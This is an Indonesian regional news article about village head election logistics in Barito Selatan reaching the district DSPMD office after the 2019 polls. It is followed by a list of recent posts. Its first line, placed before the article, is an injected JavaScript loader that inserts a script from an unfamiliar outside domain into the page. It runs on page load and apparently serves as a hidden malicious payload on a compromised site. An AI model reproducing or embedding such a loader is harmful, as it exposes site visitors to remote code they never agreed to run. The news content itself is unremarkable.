(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Semua Logistik Pilkades Serentak Sudah Masuk DSPMD Barsel


BUNTOK, Pilkades Serentak 2019 yang digelar di 62 desa pada 6 Kecamatan se Kabupaten Barsel telah selesai melaksanakan pemilihan. Saat ini semua logistik Pilkades telah diserahkan ke Kantor DSPMD setempat.

Plt Kepala DSPMD Barsel melalui Kabid Adminitrasi dan Kelembagaan Desa Samsul Bahri mengatakan, untuk saat ini semua logistik Pilkades serentak sudah masuk sekretariat DSPMD Barsel yang sudah ditangani oleh pihak panitia Pilkades di Kabupaten.

“Jadi untuk saat ini semua logistik pikades pada 62 desa sudah sampai ke sekretariat panitia pilkades Kabupaten, dalam hal ini oleh pihak DSPMD Barsel,” kata Samsul kepada Kanalkalimantan.com, di kantornya Senin (7/10).

Ia juga mengatakan, dari 62 desa yang melaksanakan pilkades hingga saat ini masih belum ada mendapatkan laporan terkait ada tidanya permsalahan pada pilkades beberapa waktu lalu.

Dijelaskan olehnya, sesuai aturan bila memang adanya terjadi permasalahan pada pelaksanaan pilkades, pihaknya mempersilahkan bila memang ada laporan atau gugatan silahkan melaporkan kepada pihak pengawas Kecamatan. “Namun hingga saat ini kita masih belum mendapatkan laporan terkait adanya gugatan pada pelaksanaan pilkades ini,” ungkap Samsul.

Ia berharap Pilkades ini bisa berjalan dengan lancar dan aman. Kepada para peserta yang kalah kiranya bisa bersikap legowo dan kiranya bisa kembali ke aktivitasnya semula. “Kita berharap kiranya pelaksanaan pilkades ini berjalan lancar dan aman, serta untuk peserta yang kalah bisa legowo dan bisa kembali ke aktivitasnya seperti biasa,” pinta Samsul.

Ditambahkan olehnya terkait hasil Pilkades, apapun hasilnya baik itu memiliki hasil yang sama, tidak ada dilakukan PSU atau pemilihan ulang. Sebab akan dihitung berdasarkan hasil suara terbanyak pada hitungan kotak suara terbanyak pada TPS. “Karena sesuai dengan Permendagri nomor 65 tahun 2017 dan Perbub nomor 21 tahun 2018, bila mana ada hasil suara seri, pemenang akan di ambil pada suara terbanyak pada hitungan TPS yang ada,” pungkas Samsul.(digdo)

Reporter : Digdo
Editor : Chell


Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

5 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

5 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

6 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

8 jam ago

This website uses cookies.